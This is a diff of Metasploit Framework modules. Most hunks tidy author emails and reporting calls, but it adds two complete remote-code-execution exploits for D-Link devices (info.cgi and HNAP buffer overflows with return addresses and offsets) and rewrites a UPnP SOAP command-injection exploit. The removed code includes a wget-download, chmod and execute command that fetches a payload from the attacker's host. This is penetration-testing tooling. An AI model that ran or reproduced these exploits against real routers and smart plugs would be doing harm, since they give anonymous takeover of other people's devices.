"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
|
||||
"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
|
||||
"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
|
||||
"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
|
||||
"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
|
||||
"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
|
||||
"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
|
||||
"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
|
||||
"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
|
||||
"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
|
||||
"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
|
||||
end
|
||||
|
||||
def crossdomain_xml
|
||||
%Q|
|
||||
<?xml version="1.0" ?>
|
||||
<cross-domain-policy>
|
||||
<allow-access-from domain="*" />
|
||||
</cross-domain-policy>
|
||||
|
|
||||
end
|
||||
|
||||
def rhost
|
||||
URI.parse(datastore["JSONP_URL"]).host
|
||||
end
|
||||
|
||||
end
|
|
@ -76,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
header_string = "#{h[0]}: #{h[1]}"
|
||||
print_status "#{peer}: #{header_string}"
|
||||
|
||||
report_note({
|
||||
:type => 'HTTP header',
|
||||
report_note(
|
||||
:type => "http.header.#{rport}.#{counter}",
|
||||
:data => header_string,
|
||||
:host => ip,
|
||||
:port => rport
|
||||
})
|
||||
)
|
||||
counter = counter + 1
|
||||
end
|
||||
if counter == 0
|
||||
|
|
|
@ -60,6 +60,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
result.each do |u|
|
||||
print_status("[#{target_host}] #{tpath} [#{u}]")
|
||||
|
||||
report_note(
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:type => "http.scraper.#{rport}",
|
||||
:data => u
|
||||
)
|
||||
|
||||
report_web_vuln(
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module calls the target portmap service and enumerates all
|
||||
program entries and their running port numbers.
|
||||
},
|
||||
'Author' => ['<tebo [at] attackresearch.com>'],
|
||||
'Author' => ['<tebo[at]attackresearch.com>'],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.ietf.org/rfc/rfc1057.txt'],
|
||||
|
|
|
@ -31,10 +31,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'tebo <tebo [at] attackresearch [dot] com>', # Original
|
||||
'tebo <tebo[at]attackresearch.com>', # Original
|
||||
'Ben Campbell', # Refactoring
|
||||
'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', # admin check
|
||||
'Tom Sellers <tom <at> fadedcode.net>' # admin check/bug fix
|
||||
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # admin check
|
||||
'Tom Sellers <tom[at]fadedcode.net>' # admin check/bug fix
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => [
|
||||
'Steve Embling', # Discovery
|
||||
'Matt Byrne <attackdebris [at] gmail.com>' # Metasploit module
|
||||
'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'carstein <carstein.sec [at] gmail [dot] com>',
|
||||
'carstein <carstein.sec[at]gmail.com>',
|
||||
'jduck'
|
||||
],
|
||||
'References' =>
|
||||
|
|
|
@ -23,8 +23,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'pSnuffle Packet Sniffer',
|
||||
'Description' => 'This module sniffs passwords like dsniff did in the past',
|
||||
'Author' => 'Max Moser <mmo@remote-exploit.org>',
|
||||
'Description' => 'This module sniffs passwords like dsniff did in the past',
|
||||
'Author' => 'Max Moser <mmo[at]remote-exploit.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
|
|
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Julien Tinnes <julien at cr0.org>', # original longxor encoder, which this one is based on
|
||||
'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on
|
||||
'juan vazquez' # byte_xori encoder
|
||||
],
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
'Description' => %q{
|
||||
Mips Web server exploit friendly xor encoder
|
||||
},
|
||||
'Author' => 'Julien Tinnes <julien at cr0.org>',
|
||||
'Author' => 'Julien Tinnes <julien[at]cr0.org>',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Decoder' =>
|
||||
|
|
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Julien Tinnes <julien at cr0.org>', # original longxor encoder, which this one is based on
|
||||
'Julien Tinnes <julien[at]cr0.org>', # original longxor encoder, which this one is based on
|
||||
'juan vazquez' # byte_xori encoder
|
||||
],
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor
|
|||
'Description' => %q{
|
||||
Mips Web server exploit friendly xor encoder
|
||||
},
|
||||
'Author' => 'Julien Tinnes <julien at cr0.org>',
|
||||
'Author' => 'Julien Tinnes <julien[at]cr0.org>',
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'License' => MSF_LICENSE,
|
||||
'Decoder' =>
|
||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Encoder
|
|||
This adds 3-bytes to the start of the payload to bump ESP by 32 bytes
|
||||
so that it's clear of the top of the payload.
|
||||
},
|
||||
'Author' => 'OJ Reeves <oj@buffered.io>',
|
||||
'Author' => 'OJ Reeves <oj[at]buffered.io>',
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE,
|
||||
'Decoder' => { 'BlockSize' => 4 }
|
||||
|
|
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Evgeny Legerov <admin [at] gleg.net>', # original .pm version (VulnDisco)
|
||||
'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
|
||||
'jduck' # Metasploit 3.x port
|
||||
],
|
||||
'References' =>
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link info.cgi POST Request Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on different D-Link
|
||||
devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
|
||||
when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
|
||||
handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
|
||||
environment.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Heffner', # vulnerability discovery and initial PoC
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '108249'],
|
||||
['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# Automatic targeting via fingerprinting
|
||||
#
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
[ 'D-Link DSP-W215 - v1.02',
|
||||
{
|
||||
'Offset' => 477472,
|
||||
'Ret' => 0x405cec # jump to system - my_cgi.cgi
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'May 22 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/common/info.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code)
|
||||
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
|
||||
@my_target = targets[1] if target['auto']
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the vulnerable URL...")
|
||||
|
||||
@my_target = target
|
||||
check_code = check
|
||||
|
||||
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
if @my_target.nil? || @my_target['auto']
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting #{@my_target.name}...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 185
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
|
||||
buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system
|
||||
|
||||
# la $t9, system
|
||||
# la $s1, 0x440000
|
||||
# jalr $t9 ; system
|
||||
# addiu $a0, $sp, 0x28 # our command
|
||||
|
||||
buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28
|
||||
buf << cmd # Command to execute
|
||||
buf << "\x00" # NULL terminate the command
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/common/info.cgi",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'storage_path' => shellcode,
|
||||
}
|
||||
}, 5)
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link HNAP Request Remote Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on different
|
||||
D-Link devices. The vulnerability is due to an stack based buffer overflow while
|
||||
handling malicious HTTP POST requests addressed to the HNAP handler. This module
|
||||
has been successfully tested on D-Link DIR-505 in an emulated environment.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Heffner', # vulnerability discovery and initial exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-3936'],
|
||||
['BID', '67651'],
|
||||
['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
# Automatic targeting via fingerprinting
|
||||
#
|
||||
[ 'Automatic Targeting', { 'auto' => true } ],
|
||||
[ 'D-Link DSP-W215 - v1.0',
|
||||
{
|
||||
'Offset' => 1000000,
|
||||
'Ret' => 0x405cac, # jump to system - my_cgi.cgi
|
||||
}
|
||||
],
|
||||
[ 'D-Link DIR-505 - v1.06',
|
||||
{
|
||||
'Offset' => 30000,
|
||||
'Ret' => 0x405234, # jump to system - my_cgi.cgi
|
||||
}
|
||||
],
|
||||
[ 'D-Link DIR-505 - v1.07',
|
||||
{
|
||||
'Offset' => 30000,
|
||||
'Ret' => 0x405c5c, # jump to system - my_cgi.cgi
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'May 15 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/HNAP1/",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code)
|
||||
if res.body =~ /DIR-505/ && res.body =~ /1.07/
|
||||
@my_target = targets[3] if target['auto']
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
|
||||
@my_target = targets[2] if target['auto']
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
|
||||
@my_target = targets[1] if target['auto']
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the vulnerable URL...")
|
||||
|
||||
@my_target = target
|
||||
check_code = check
|
||||
|
||||
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device")
|
||||
end
|
||||
|
||||
if @my_target.nil? || @my_target['auto']
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting #{@my_target.name}...")
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 185
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
|
||||
buf << rand_text_alpha_upper(4) # $s0, don't care
|
||||
buf << rand_text_alpha_upper(4) # $s1, don't care
|
||||
buf << rand_text_alpha_upper(4) # $s2, don't care
|
||||
buf << rand_text_alpha_upper(4) # $s3, don't care
|
||||
buf << rand_text_alpha_upper(4) # $s4, don't care
|
||||
buf << [@my_target.ret].pack("N") # $ra
|
||||
|
||||
# la $t9, system
|
||||
# la $s1, 0x440000
|
||||
# jalr $t9 ; system
|
||||
# addiu $a0, $sp, 0x28 # our command
|
||||
|
||||
buf << rand_text_alpha_upper(40) # Stack filler
|
||||
buf << cmd # Command to execute
|
||||
buf << "\x00" # NULL-terminate the command
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/HNAP1/",
|
||||
'encode_params' => false,
|
||||
'data' => shellcode
|
||||
}, 5)
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -6,13 +6,10 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Auxiliary::CommandShell
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -20,202 +17,105 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
||||
interface. Since it is a blind OS command injection vulnerability, there is no
|
||||
output for the executed command when using the CMD target. Additionally, a target
|
||||
to deploy a native mipsel payload, when wget is available on the target device, has
|
||||
been added. This module has been tested on DIR-865 and DIR-645 devices.
|
||||
output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '94924' ],
|
||||
[ 'BID', '61005' ],
|
||||
[ 'EDB', '26664' ],
|
||||
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
|
||||
['OSVDB', '94924'],
|
||||
['BID', '61005'],
|
||||
['EDB', '26664'],
|
||||
['URL', 'http://www.s3cur1ty.de/m1adv2013-020']
|
||||
],
|
||||
'DisclosureDate' => 'Jul 05 2013',
|
||||
'Privileged' => true,
|
||||
'Platform' => %w{ linux unix },
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'CMD', #all devices
|
||||
[ 'MIPS Little Endian',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE
|
||||
}
|
||||
],
|
||||
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
|
||||
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
|
||||
{
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'Platform' => 'linux'
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 1
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(49152), #port of UPnP SOAP webinterface
|
||||
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
|
||||
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
||||
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
|
||||
Opt::RPORT(49152) # port of UPnP SOAP webinterface
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/InternetGatewayDevice.xml'
|
||||
})
|
||||
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
@new_portmapping_descr = rand_text_alpha(8)
|
||||
@new_external_port = rand(65535)
|
||||
@new_internal_port = rand(65535)
|
||||
print_status("#{peer} - Trying to access the device ...")
|
||||
|
||||
if target.name =~ /CMD/
|
||||
exploit_cmd
|
||||
else
|
||||
exploit_mips
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
|
||||
execute_cmdstager(
|
||||
:flavor => :echo,
|
||||
:linemax => 400
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_cmd
|
||||
if not (datastore['CMD'])
|
||||
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
||||
end
|
||||
cmd = payload.encoded
|
||||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
||||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
def exploit_mips
|
||||
|
||||
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
||||
|
||||
#thx to Juan for his awesome work on the mipsel elf support
|
||||
@pl = generate_payload_exe
|
||||
@elf_sent = false
|
||||
|
||||
#
|
||||
# start our server
|
||||
#
|
||||
resource_uri = '/' + downfile
|
||||
|
||||
if (datastore['DOWNHOST'])
|
||||
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||
else
|
||||
# do not use SSL for this part
|
||||
# XXX: See https://dev.metasploit.com/redmine/issues/8498
|
||||
# It must be possible to do this without directly editing the
|
||||
# datastore.
|
||||
if datastore['SSL']
|
||||
ssl_restore = true
|
||||
datastore['SSL'] = false
|
||||
end
|
||||
|
||||
#we use SRVHOST as download IP for the coming wget command.
|
||||
#SRVHOST needs a real IP address of our download host
|
||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||
srv_host = Rex::Socket.source_address(rhost)
|
||||
else
|
||||
srv_host = datastore['SRVHOST']
|
||||
end
|
||||
|
||||
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
||||
|
||||
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
|
||||
start_service({'Uri' => {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}})
|
||||
|
||||
# Restore SSL preference
|
||||
# XXX: See https://dev.metasploit.com/redmine/issues/8498
|
||||
# It must be possible to do this without directly editing the
|
||||
# datastore.
|
||||
datastore['SSL'] = true if ssl_restore
|
||||
end
|
||||
|
||||
#
|
||||
# download payload
|
||||
#
|
||||
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
|
||||
#this filename is used to store the payload on the device
|
||||
filename = rand_text_alpha_lower(8)
|
||||
|
||||
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
|
||||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
||||
end
|
||||
|
||||
# wait for payload download
|
||||
if (datastore['DOWNHOST'])
|
||||
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
|
||||
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
||||
else
|
||||
wait_linux_payload
|
||||
end
|
||||
|
||||
register_file_for_cleanup("/tmp/#{filename}")
|
||||
|
||||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
end
|
||||
|
||||
def request(cmd, type)
|
||||
def execute_command(cmd, opts)
|
||||
new_portmapping_descr = rand_text_alpha(8)
|
||||
new_external_port = rand(32767) + 32768
|
||||
new_internal_port = rand(32767) + 32768
|
||||
|
||||
uri = '/soap.cgi'
|
||||
|
||||
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
|
||||
|
||||
data_cmd = "<?xml version=\"1.0\"?>"
|
||||
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
||||
data_cmd << "<SOAP-ENV:Body>"
|
||||
|
||||
if type == "add"
|
||||
vprint_status("#{rhost}:#{rport} - adding portmapping")
|
||||
|
||||
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
|
||||
|
||||
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
|
||||
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
|
||||
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
|
||||
data_cmd << "<NewEnabled>1</NewEnabled>"
|
||||
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
|
||||
data_cmd << "<NewRemoteHost></NewRemoteHost>"
|
||||
data_cmd << "<NewProtocol>TCP</NewProtocol>"
|
||||
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
|
||||
data_cmd << "</m:AddPortMapping>"
|
||||
else
|
||||
#we should clean it up ... otherwise we are not able to exploit it multiple times
|
||||
vprint_status("#{rhost}:#{rport} - deleting portmapping")
|
||||
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
|
||||
|
||||
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
|
||||
data_cmd << "</m:DeletePortMapping>"
|
||||
end
|
||||
|
||||
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
||||
data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
|
||||
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
|
||||
